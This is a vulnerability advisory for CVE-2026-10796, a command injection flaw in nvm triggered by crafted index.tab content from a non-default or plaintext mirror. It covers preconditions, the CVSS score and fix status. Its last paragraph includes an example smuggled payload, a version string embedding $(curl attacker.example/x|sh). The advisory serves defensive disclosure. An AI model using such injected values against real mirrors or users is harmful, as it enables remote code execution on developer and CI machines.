nvm CVE-2026-10796

Victim must run nvm (e.g., nvm install, nvm ls-remote) configured to use a Node.js/io.js mirror other than the default https://nodejs.org - this means the NVM_NODEJS_ORG_MIRROR or NVM_IOJS_ORG_MIRROR environment variable is set to an attacker-controlled host, the attacker can supply mirror content to the user/CI on a non-default mirror, or the mirror is served over plaintext HTTP allowing a network MitM to inject a crafted index.tab. Limiting factors: the default TLS-protected nodejs.org mirror is explicitly NOT affected; user interaction (an nvm invocation that fetches the index) is required (UI:R); and the attacker must either control the mirror, its content, or the network path (AC:H). Execution occurs only with the privileges of the user running nvm, not root unless nvm was run as root.

The CVSS 3.1 vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H is consistent with the description: network-reachable mirror, no auth on the mirror side, but high attack complexity and required user interaction because the victim must invoke nvm install (or equivalent) against an attacker-influenced mirror - either a non-default mirror configured via NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR, hostile mirror content, or a MitM against a plaintext mirror. No public exploit identified at time of analysis; not listed in CISA KEV; EPSS not provided. Real-world risk is moderate and targeted: developers and CI pipelines pinned to corporate or third-party mirrors, or operating without TLS, are the realistic victim population, while default installations using https://nodejs.org are not exposed. Vendor advisory and patch commits are confirmed; affected version ceiling (≤0.40.4) is confirmed but the fixed tagged release is pending.

A developer or CI job is configured (via NVM_NODEJS_ORG_MIRROR or an HTTP-only proxy) to fetch Node.js versions from an attacker-controlled or MitM-able mirror; the mirror serves an index.tab containing a version entry such as v18.0.0$(curl attacker.example/x|sh). When the user runs nvm install or nvm ls-remote, nvm interpolates the malicious version into the URL passed to eval curl … (or into the awk checksum program), and the shell/awk executes the embedded payload with the user's privileges. Regression tests committed alongside the fix demonstrate the injection path; no weaponized public exploit is identified at time of analysis.